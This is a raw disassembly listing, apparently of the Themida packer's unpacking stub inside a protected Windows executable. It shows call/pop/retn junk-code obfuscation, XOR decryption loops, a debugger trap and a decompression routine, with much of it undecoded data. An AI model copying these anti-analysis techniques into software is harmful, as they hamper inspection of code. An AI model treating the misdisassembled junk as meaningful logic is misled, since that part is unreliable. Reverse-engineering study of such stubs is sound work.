; --------------------------------------------------------------------------- jmp loc_582968 ; --------------------------------------------------------------------------- jge short loc_5829A5 inc edi xor al, 0FFh aam 0D5h nop mov dh, 3Ch loc_582968: ; CODE XREF: Themida_:00582959j mov [ebp+6122D81h], edi loc_58296E: ; CODE XREF: Themida_:00582925j cmp eax, 0Ah jnz loc_5829B0 mov ebx, [ebp+6123051h] lea edi, [ebp+6124BE6h] mov dx, 4898h jmp loc_5829B0 ; --------------------------------------------------------------------------- push 0 push eax call sub_582997 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582997 proc near ; CODE XREF: Themida_:0058298Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax loc_5829A5: ; CODE XREF: Themida_:0058295Ej push eax retn sub_582997 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edi, 96202857h ror byte ptr [edi], 1 mov bh, 0D2h loc_5829B0: ; CODE XREF: Themida_:00582891j ; Themida_:0058291Aj ... push edi movsx ebx, bx mov ecx, 61D49BE7h mov [ebp+6120F59h], ebx jz loc_5829C8 movsx edx, si loc_5829C8: ; CODE XREF: Themida_:005829BFj cmp dword ptr [edi], 0 jz loc_582A77 push 0 push eax call sub_5829DC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5829DC proc near ; CODE XREF: Themida_:005829D4p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5829DC endp ; --------------------------------------------------------------------------- sub [ebx], edx and al, 0BDh xchg eax, ebp retf ; --------------------------------------------------------------------------- fld tbyte ptr [ebx] daa xor dh, 6 jmp loc_582A09 ; --------------------------------------------------------------------------- dw 0E2ACh dd 0BA8D1ABFh, 670FC175h db 33h ; --------------------------------------------------------------------------- loc_582A09: ; CODE XREF: Themida_:005829F9j xor [edi], cl push 0 push ebp call sub_582A16 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582A16 proc near ; CODE XREF: Themida_:00582A0Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_582A16 endp ; --------------------------------------------------------------------------- sal dword ptr [edx], 1 ror ecx, 1 pusha mov [ebp+6120401h], edi pusha ja $+6 xor [ebp+61228E5h], edi popa popa inc edi push 0 push ecx call sub_582A4C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582A4C proc near ; CODE XREF: Themida_:00582A44p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_582A4C endp ; --------------------------------------------------------------------------- sbb byte ptr [ebp-298EA4A8h], 0DFh adc al, [ecx+2F183AE2h] adc eax, 0FFFF59E9h jmp dword ptr [esi-7Fh] ; --------------------------------------------------------------------------- db 0DAh, 19h, 0F7h ; --------------------------------------------------------------------------- sbb dl, 5 loc_582A77: ; CODE XREF: Themida_:005829CBj pop edi call near ptr loc_582A8B+3 jnz short near ptr loc_582AAB+7 cmp al, 54h inc esi rol dword ptr [ecx-54h], cl pop ss out 0B8h, eax ; Interrupt Controller #2, 8259A or [edi+1], ch loc_582A8B: ; CODE XREF: Themida_:00582A78p cmpxchg [ebx-75h], ebx popf popa sub [edx], edx push es pop ebx loc_582A95: ; CODE XREF: Themida_:00582954j mov [ebp+6124DE2h], edi push 0 push ebx call sub_582AA6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582AA6 proc near ; CODE XREF: Themida_:00582A9Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx loc_582AAB: ; CODE XREF: Themida_:00582A7Dj add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_582AA6 endp ; --------------------------------------------------------------------------- dw 0B398h dd 1BD07FA7h, 0E9EBBDE0h, 9, 606B2F41h, 8518481Ah, 0CD8D8DDDh dd 0F06121Bh, 38Eh, 29E78000h, 2E3DB5FFh, 6A0612h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0B2C4F7C3h, 678FBBBFh, 858D0B7Bh, 614A6D0h, 2FBD8D50h dd 8D061256h, 1270468Dh, 1ABCB806h, 0CF2B5483h, 0C8D00730h dd 0F8754947h, 6F9DB58Dh, 8D8D0612h, 612705Eh, 0A4F3CF2Bh dd 0B8C933h, 0B000000h, 834674C0h, 120B55BDh, 6740006h dd 1D6595FFh, 0B58B0612h, 6124DE2h, 0A6D0858Dh, 0D0FF0614h dd 43F6858Dh, 0D0FF0612h, 2E5185C7h, 10612h, 0A58B0000h dd 6121D79h, 21A1B58Bh, 0AD8B0612h, 61218FDh, 0CC2C033h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 85895BF4h, 61218D5h, 6ABABBF9h, 6A5551h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 320865C3h, 83CEEB47h, 12216DBDh, 840F0006h, 4Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h, 1D61958Bh dd 95FF0612h, 6121C5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 75C35545h, 664DB4DCh, 83A7EDBBh, 122855BDh dd 850F0006h, 16Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0C4C35343h, 82A327CEh, 13B99D8Bh, 0BD830612h dd 6120EE9h, 3A850F01h, 89000001h, 122DAD95h, 0C800F06h dd 0F000000h, 680h, 95850900h, 83061223h, 123465BDh, 840F0006h dd 115h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 9FC35040h, 0FAEE3C0Dh, 0B00ABAA0h, 4E35BD83h, 0F000612h dd 0E484h, 8BD38100h, 8D568764h, 14A6D085h, 299D8B06h dd 8B061200h, 124DE2B5h, 75B58906h, 0FF061213h, 0C65A50D0h dd 1215C185h, 0DB815406h, 51453B88h, 49D31168h, 81BDB6F7h dd 0EBE32404h, 0F48A0804h, 17F1B5FFh, 958B0612h, 6122F19h dd 3B48858Dh, 8B600612h, 121861BDh, 58F55106h, 6AD0FF61h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0D3EFC352h, 5BA9F0D8h, 6A0070h, 18E19D8Bh dd 0FF6A0612h, 7519589h, 0D0FF0612h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 97C35242h, 0B5FF14C2h, 6120F0Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 24C35545h dd 9B14984Fh, 3D95FF1Ah, 8906122Eh, 1214F9BDh, 0E2B58B06h dd 5206124Dh, 8E8h, 2EDB2000h, 17D79611h, 45958B68h, 5B061226h dd 6AC35Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 667FBFC3h, 0B58BD78Bh, 61218A9h, 2D9D2957h dd 5A061215h, 840FF60Bh, 42h, 9CEB8166h, 6C6F5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7BC35747h, 0D6638265h dd 0D529E5C9h, 0AE8h, 0A966F600h, 25EFB521h, 298D15A5h dd 1225BD95h, 85895A06h, 6124DEAh, 2989958Bh, 0D68B0612h dd 0F00F883h, 30384h, 0B800h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 29DFB3C3h dd 0F00F883h, 0C684h, 0D98B6600h, 140214BBh, 2F88341h dd 69850Fh, 6E80000h, 29000000h, 0F3674F39h, 0E1958B5Dh dd 5A061226h, 4465858Dh, 0FCBA0612h, 2D0893CAh, 929h, 4459589h dd 66600612h, 0F08AD68Bh, 5E99061h, 3000000h, 12F53AEBh dd 8E85350h, 76000000h, 57F4226h, 66CDC5F9h, 5BDA20BBh dd 8529905Ah, 612277Dh, 7E9h, 0A9FAD00h, 929B0CE3h, 0A59D8BC3h dd 0B806120Ch, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_582F07 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582F07 proc near ; CODE XREF: Themida_:00582EFFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_582F07 endp ; --------------------------------------------------------------------------- xor esp, [edi+57h] jle loc_582F24 mov bx, 1B8Fh loc_582F24: ; CODE XREF: Themida_:00582F1Aj jmp loc_582F38 ; --------------------------------------------------------------------------- db 1Dh, 6Fh, 0Ch dd 0D5E003C7h, 61D75094h, 7F2DB4FCh ; --------------------------------------------------------------------------- loc_582F38: ; CODE XREF: Themida_:loc_582F24j jmp loc_583154 ; --------------------------------------------------------------------------- and ebx, 7A6B1CCDh mov eax, 1 sub [ebp+61214EDh], eax lea edi, [ebp+612446Ah] cmc jmp loc_583007 ; --------------------------------------------------------------------------- adc dl, 58h cmp eax, 2 jnz loc_582F81 add [ebp+6122FD9h], edx lea edi, [ebp+6124662h] sub bx, 0DF18h jmp loc_583007 ; --------------------------------------------------------------------------- adc bx, 0D8EBh loc_582F81: ; CODE XREF: Themida_:00582F60j cmp eax, 3 jnz loc_582FE7 mov [ebp+6120819h], esi xor edx, [ebp+612173Dh] lea edi, [ebp+61247F6h] push 0 push ebx call sub_582FA7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582FA7 proc near ; CODE XREF: Themida_:00582F9Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_582FA7 endp ; --------------------------------------------------------------------------- db 0A2h dd 1B358FE8h, 952902D7h, 6122A9Dh, 2C518D89h, 0AE80612h dd 75000000h, 0F6F05F62h, 0D391F37Bh, 5BCEB39Ah, 26E9h dd 0E9BD8900h ; --------------------------------------------------------------------------- adc al, es:[esi] loc_582FE7: ; CODE XREF: Themida_:00582F84j cmp eax, 5 jnz loc_583007 jnb loc_582FFC mov ebx, [ebp+6122975h] loc_582FFC: ; CODE XREF: Themida_:00582FF0j jmp loc_58308A ; --------------------------------------------------------------------------- mov [ebp+61233E9h], ebx loc_583007: ; CODE XREF: Themida_:00582F55j ; Themida_:00582F77j ... push edi push 0 push esi call sub_583013 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583013 proc near ; CODE XREF: Themida_:0058300Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_583013 endp ; --------------------------------------------------------------------------- push 0FFFFFFECh pop ecx clc mov bl, 37h sub [ebp+6121FCDh], ebx mov ecx, 61D49BE7h mov ebx, 7A2FEEB8h loc_583039: ; CODE XREF: Themida_:0058307Ej cmp dword ptr [edi], 0 jz loc_58308A mov edx, 51220428h sub ebx, 230FED44h xor [edi], cl jmp loc_58305E ; --------------------------------------------------------------------------- test edi, eax xor [ebp+47h], ecx int 3 ; Trap to Debugger nop daa test eax, edx loc_58305E: ; CODE XREF: Themida_:0058304Fj ror ecx, 1 jmp loc_583077 ; --------------------------------------------------------------------------- db 8Dh, 0F3h, 63h ; --------------------------------------------------------------------------- push ecx sbb ch, [edi-7Dh] stc pop ebx and [ebx], al retf ; --------------------------------------------------------------------------- or [esi+612C8C9Ch], ebx loc_583077: ; CODE XREF: Themida_:00583060j inc edi mov [ebp+6120275h], esi jmp loc_583039 ; --------------------------------------------------------------------------- adc bx, 2F55h mov bl, dh loc_58308A: ; CODE XREF: Themida_:loc_582FFCj ; Themida_:0058303Cj cmp eax, 5 jnz loc_583154 push 0 push eax call sub_58309E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58309E proc near ; CODE XREF: Themida_:00583096p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_58309E endp ; --------------------------------------------------------------------------- pop ss setalc cmc db 66h, 2Eh mov dh, 56h xor dl, 6 pop ebx mov cx, ds push 0 push ebp call sub_5830C7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5830C7 proc near ; CODE XREF: Themida_:005830BFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5830C7 endp ; --------------------------------------------------------------------------- db 59h dd 0C1F6FC1Dh, 2E850F04h, 50000000h, 13E8h, 7C72B600h dd 9408B7CCh, 26D5FAC5h, 87F178A7h, 0C4E57209h, 0B85B5Ah dd 8B000000h, 1227CD9Dh, 46E906h, 8B660000h, 0E9858BD7h dd 6A061228h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0DB17C350h, 0F6EC387h, 681h, 0A9958900h dd 8006121Fh, 0E0FF46DAh, 275958Bh, 0BD290612h, 61226B5h ; --------------------------------------------------------------------------- loc_583154: ; CODE XREF: Themida_:00582571j ; Themida_:loc_582F38j ... cmp dword ptr [ebp+6122E3Dh], 0 jnz loc_58327D push 0 push ebx call sub_58316C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58316C proc near ; CODE XREF: Themida_:00583164p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_58316C endp ; --------------------------------------------------------------------------- pop ecx lahf push es popf xor al, 0BDh nop mov bh, 65h push eax js loc_583191 mov edx, 2778E4A4h loc_583191: ; CODE XREF: Themida_:00583186j nop push 0 push edx call sub_58319D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58319D proc near ; CODE XREF: Themida_:00583195p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_58319D endp ; --------------------------------------------------------------------------- scasd stosb push esi mov bl, 25h mov eax, ds:6660252Bh mov edx, 0B589F8AEh popf xor dl, [edx] push es popa mov byte ptr [ebp+61215C1h], 45h jmp loc_5831D2 ; --------------------------------------------------------------------------- db 58h, 0E4h, 0AAh db 0BDh, 0FDh ; --------------------------------------------------------------------------- loc_5831D2: ; CODE XREF: Themida_:005831C8j call near ptr loc_5831D7+4 loc_5831D7: ; CODE XREF: Themida_:loc_5831D2p imul ebp, [ecx+72h], 0BE98Eh ; --------------------------------------------------------------------------- dw 0 dd 0D4B708D0h, 87C9F86Dh, 509A7F91h, 448B77B2h, 66560424h dd 5BD2EABAh, 0D68B008Bh, 4244489h, 16CB8158h, 0FF29CEDBh dd 1217F1B5h, 14E906h, 687F0000h, 0A4C69E73h, 44D31BF1h dd 0EBA92081h, 0AFD4E958h, 858D8DB5h, 6123B48h, 0D0FFDA8Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 73C35545h dd 70186DF4h, 7F6D2527h, 0E5C6D281h, 858937AAh, 6122E3Dh dd 3041958Bh, 0E9580612h, 11h, 0E0C08DFh, 297BF4B1h, 75A47A93h dd 99BB7D0Bh ; --------------------------------------------------------------------------- push es loc_58327D: ; CODE XREF: Themida_:0058315Bj cmp dword ptr [ebp+6124E39h], 0 jz loc_5832AC mov ebx, ecx push dword ptr [ebp+6120F0Dh] add [ebp+6122DBDh], edx call dword ptr [ebp+6122E3Dh] push esi mov [ebp+612189Dh], esi pop ebx mov [ebp+6122CE9h], edx loc_5832AC: ; CODE XREF: Themida_:00583284j cmp eax, 0 jnz loc_5833B0 xor bh, 8Fh cmp dword ptr [ebp+612309Dh], 0 jz loc_58332E push 0 push edi call sub_5832D0 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5832D0 proc near ; CODE XREF: Themida_:005832C8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5832D0 endp ; --------------------------------------------------------------------------- sub ecx, [edi] mov edi, 9DB5FFDEh xor [edx], dl push es push 0 push esi call sub_5832F5 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5832F5 proc near ; CODE XREF: Themida_:005832EDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5832F5 endp ; --------------------------------------------------------------------------- setalc mov [ebp+6120F31h], edx pusha push ebx movzx esi, di pop edi movzx edx, bx popa mov eax, 1 push esi mov ebx, [ebp+6122379h] pop ebx jmp loc_583571 ; --------------------------------------------------------------------------- add [ebp+6120C41h], edx loc_58332E: ; CODE XREF: Themida_:005832BFj push dword ptr [ebp+6120F0Dh] push 0 push esi call sub_58333F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58333F proc near ; CODE XREF: Themida_:00583337p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_58333F endp ; --------------------------------------------------------------------------- fistp dword ptr [edi-4Dh] fcomp qword ptr [edx+4B98ECBBh] inc dword ptr [ecx+773725F2h] xor al, 0FFh mov ch, 0Dh movlps xmm0, qword ptr [esi] add bl, 63h push dword ptr [ebp+6122E3Dh] mov [ebp+61227E5h], ecx add dl, 6Ch jmp loc_583571 ; --------------------------------------------------------------------------- push 0 push edi call sub_583387 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583387 proc near ; CODE XREF: Themida_:0058337Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_583387 endp ; --------------------------------------------------------------------------- db 2Ah dd 8F814D93h, 0F77CAB54h, 0FF560A1h, 68Ah, 159D8900h, 61061220h ; --------------------------------------------------------------------------- loc_5833B0: ; CODE XREF: Themida_:005832AFj pop edi add [ebp+6122551h], ecx cmp dword ptr [ebp+6122D09h], 0 jnz loc_583465 push 0 push ebx call sub_5833CF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5833CF proc near ; CODE XREF: Themida_:005833C7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5833CF endp ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- push 0A0239B6Bh jmp loc_5833F3 ; --------------------------------------------------------------------------- dw 7A0Ch dd 6E7BE347h ; --------------------------------------------------------------------------- mov ebp, esi das loc_5833F3: ; CODE XREF: Themida_:005833E5j mov byte ptr [ebp+61215C1h], 4Dh mov ebx, [ebp+6121C4Dh] push 8BEC24E4h mov bh, dh add dword ptr [esp], 184951C4h js loc_583417 mov bx, di loc_583417: ; CODE XREF: Themida_:0058340Ej push dword ptr [ebp+612335Dh] mov [ebp+61210BDh], eax lea eax, [ebp+6123B48h] push 0 push edi call sub_583434 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583434 proc near ; CODE XREF: Themida_:0058342Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_583434 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- and [edi], ecx mov [ebp+61226DDh], edi call eax push edx mov ebx, ecx pop ebx mov edx, [ebp+6120B95h] mov [ebp+6122D09h], eax adc ebx, 4302FC14h loc_583465: ; CODE XREF: Themida_:005833BEj mov eax, 0 push 0 push ebx call sub_583475 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583475 proc near ; CODE XREF: Themida_:0058346Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_583475 endp ; --------------------------------------------------------------------------- mov al, ds:0A729079Fh inc ebp stc test esp, esp add [ecx+124DE2BDh], ecx push es push 0 push ebp call sub_5834A0 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5834A0 proc near ; CODE XREF: Themida_:00583498p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5834A0 endp ; --------------------------------------------------------------------------- dd 0EEDEB2D3h, 0C86F19A4h, 800F89E6h, 6, 33B5958Bh, 0C00B0612h dd 42840Fh, 0F500000h, 8B5ADEB7h, 1214A595h, 93E906h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 108712C3h, 830F81B9h, 6, 24E19533h, 0BD310612h, 612189Dh dd 2E3DB5FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0E6807EC3h, 0D0858D05h, 890614A6h dd 121D9DBDh, 0BB669006h, 6650BD13h, 901C0EBAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E7C35747h, 89DF8B66h dd 12189DBDh ; --------------------------------------------------------------------------- push es loc_583571: ; CODE XREF: Themida_:00583323j ; Themida_:00583377j push eax push esi lea edi, [ebp+612562Fh] lea ecx, [ebp+6127AACh] mov eax, 748323BCh sub ecx, edi loc_583586: ; CODE XREF: Themida_:0058358Cj xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_583586 pop esi pop eax cmp dword ptr [ebp+612309Dh], 0 jz short loc_58359F mov ecx, [ebp+6120901h] loc_58359F: ; CODE XREF: Themida_:00583597j xor ecx, ecx mov eax, 0 or eax, eax jz loc_583656 cmp dword ptr [ebp+6120B55h], 0 jz short loc_5835BD call dword ptr [ebp+6121D65h] loc_5835BD: ; CODE XREF: Themida_:005835B5j mov eax, 0 or eax, eax jnz short loc_5835CF cmp dword ptr [ebp+6124DEAh], 1 jz short loc_5835D8 loc_5835CF: ; CODE XREF: Themida_:005835C4j cmp dword ptr [ebp+6124DEAh], 2 jnz short loc_5835E6 loc_5835D8: ; CODE XREF: Themida_:005835CDj mov esi, [ebp+6124DE2h] lea eax, [ebp+614A6D0h] call eax loc_5835E6: ; CODE XREF: Themida_:005835D6j cmp dword ptr [ebp+612216Dh], 0 jz short loc_5835F5 call dword ptr [ebp+6121C5Dh] loc_5835F5: ; CODE XREF: Themida_:005835EDj lea eax, [ebp+61243F6h] call eax cmp dword ptr [ebp+6122561h], 2 jnz short loc_583635 mov esp, [ebp+6121D79h] mov eax, [ebp+612309Dh] mov [esp], eax mov dword ptr [ebp+6122E51h], 1 mov esi, [ebp+6124DE6h] mov ebp, [ebp+61218FDh] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_583635: ; CODE XREF: Themida_:00583604j mov dword ptr [ebp+6122E51h], 1 mov esp, [ebp+6121D79h] mov esi, [ebp+61221A1h] mov ebp, [ebp+61218FDh] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_583656: ; CODE XREF: Themida_:005835A8j cmp dword ptr [ebp+612216Dh], 0 jz short loc_58366E cmp dword ptr [ebp+6121C5Dh], 0 jz short loc_58366E call dword ptr [ebp+6121C5Dh] loc_58366E: ; CODE XREF: Themida_:0058365Dj ; Themida_:00583666j mov esi, [ebp+6124DE2h] retn ; --------------------------------------------------------------------------- push 0 push edx call sub_583680 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583680 proc near ; CODE XREF: Themida_:00583678p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_583680 endp ; --------------------------------------------------------------------------- push ebp and ebx, [ebp+612122Dh] or [ebp+612267Dh], ebx movsx edx, ax sub edx, edx mov [ebp+6122919h], ebx push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5836B8 ; --------------------------------------------------------------------------- loc_5836B6: ; CODE XREF: Themida_:005836BBj inc eax inc edi loc_5836B8: ; CODE XREF: Themida_:005836B4j cmp byte ptr [edi], 0 jnz short loc_5836B6 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5836E7 ; --------------------------------------------------------------------------- loc_5836C4: ; CODE XREF: Themida_:005836E9j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5836DC ; --------------------------------------------------------------------------- loc_5836D9: ; CODE XREF: Themida_:005836DFj mul ebx dec esi loc_5836DC: ; CODE XREF: Themida_:005836D7j cmp esi, 0 ja short loc_5836D9 pop ebx add ecx, eax pop eax inc edi dec eax loc_5836E7: ; CODE XREF: Themida_:005836C2j or eax, eax jnz short loc_5836C4 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- push 0 push esi call sub_583700 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583700 proc near ; CODE XREF: Themida_:005836F8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_583700 endp ; --------------------------------------------------------------------------- sbb eax, 0DA6FDFAh frstor byte ptr [edx] push eax push ebp xor esp, [esi-75h] fisubr dword ptr [edx+0] push edx call sub_583728 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583728 proc near ; CODE XREF: Themida_:00583720p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_583728 endp ; --------------------------------------------------------------------------- pop ds add [ebx], ch loc_58373B: ; CODE XREF: Themida_:loc_580917j mov eax, ecx jmp loc_5838EF ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h loc_58374E: ; CODE XREF: Themida_:loc_583766j mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_583759: ; CODE XREF: Themida_:005837E4j ; Themida_:0058384Cj ... add dl, dl jnz loc_583766 mov dl, [esi] inc esi adc dl, dl loc_583766: ; CODE XREF: Themida_:0058375Bj jnb loc_58374E add dl, dl jnz loc_583779 mov dl, [esi] inc esi adc dl, dl loc_583779: ; CODE XREF: Themida_:0058376Ej jnb loc_5837E9 xor eax, eax add dl, dl jnz loc_58378E mov dl, [esi] inc esi adc dl, dl loc_58378E: ; CODE XREF: Themida_:00583783j jnb loc_5838BE add dl, dl jnz loc_5837A1 mov dl, [esi] inc esi adc dl, dl loc_5837A1: ; CODE XREF: Themida_:00583796j adc eax, eax add dl, dl jnz loc_5837B0 mov dl, [esi] inc esi adc dl, dl loc_5837B0: ; CODE XREF: Themida_:005837A5j adc eax, eax add dl, dl jnz loc_5837BF mov dl, [esi] inc esi adc dl, dl loc_5837BF: ; CODE XREF: Themida_:005837B4j adc eax, eax add dl, dl jnz loc_5837CE mov dl, [esi] inc esi adc dl, dl loc_5837CE: ; CODE XREF: Themida_:005837C3j adc eax, eax jz loc_5837DC push edi sub edi, eax mov al, [edi] pop edi loc_5837DC: ; CODE XREF: Themida_:005837D0j mov [edi], al inc edi mov ebx, 2 jmp loc_583759 ; --------------------------------------------------------------------------- loc_5837E9: ; CODE XREF: Themida_:loc_583779j mov eax, 1 loc_5837EE: ; CODE XREF: Themida_:loc_58380Aj add dl, dl jnz loc_5837FB mov dl, [esi] inc esi adc dl, dl loc_5837FB: ; CODE XREF: Themida_:005837F0j adc eax, eax add dl, dl jnz loc_58380A mov dl, [esi] inc esi adc dl, dl loc_58380A: ; CODE XREF: Themida_:005837FFj jb loc_5837EE sub eax, ebx mov ebx, 1 jnz loc_583851 mov ecx, 1 loc_583822: ; CODE XREF: Themida_:loc_58383Ej add dl, dl jnz loc_58382F mov dl, [esi] inc esi adc dl, dl loc_58382F: ; CODE XREF: Themida_:00583824j adc ecx, ecx add dl, dl jnz loc_58383E mov dl, [esi] inc esi adc dl, dl loc_58383E: ; CODE XREF: Themida_:00583833j jb loc_583822 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_583759 ; --------------------------------------------------------------------------- loc_583851: ; CODE XREF: Themida_:00583817j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_58385F: ; CODE XREF: Themida_:loc_58387Bj add dl, dl jnz loc_58386C mov dl, [esi] inc esi adc dl, dl loc_58386C: ; CODE XREF: Themida_:00583861j adc ecx, ecx add dl, dl jnz loc_58387B mov dl, [esi] inc esi adc dl, dl loc_58387B: ; CODE XREF: Themida_:00583870j jb loc_58385F cmp eax, 7D00h jnb loc_5838AE cmp eax, 500h jb loc_5838A5 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_583759 ; --------------------------------------------------------------------------- loc_5838A5: ; CODE XREF: Themida_:00583891j cmp eax, 7Fh ja loc_5838B1 loc_5838AE: ; CODE XREF: Themida_:00583886j add ecx, 2 loc_5838B1: ; CODE XREF: Themida_:005838A8j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_583759 ; --------------------------------------------------------------------------- loc_5838BE: ; CODE XREF: Themida_:loc_58378Ej mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_5838E3 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_583759 ; --------------------------------------------------------------------------- loc_5838E3: ; CODE XREF: Themida_:005838C6j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5838EF: ; CODE XREF: Themida_:0058373Dj mov edx, 929h jmp loc_5A5778 ; --------------------------------------------------------------------------- dd offset dword_5FB688 db 1Bh, 0, 6Eh dd 6E002302h, 5F9B4202h, 0 dd 12FEF400h, 5FB68800h, 20600h, 200h, 100h, 600h, 45BADA00h dd 0FAh, 4 dup(0) dd 5880BF00h, 584AD600h, 58BDA800h, 58C51400h, 58C5E600h dd 58A5DB00h, 58B37400h, 58558900h, 5850F500h, 58F88D00h dd 58986100h, 58EDDF00h, 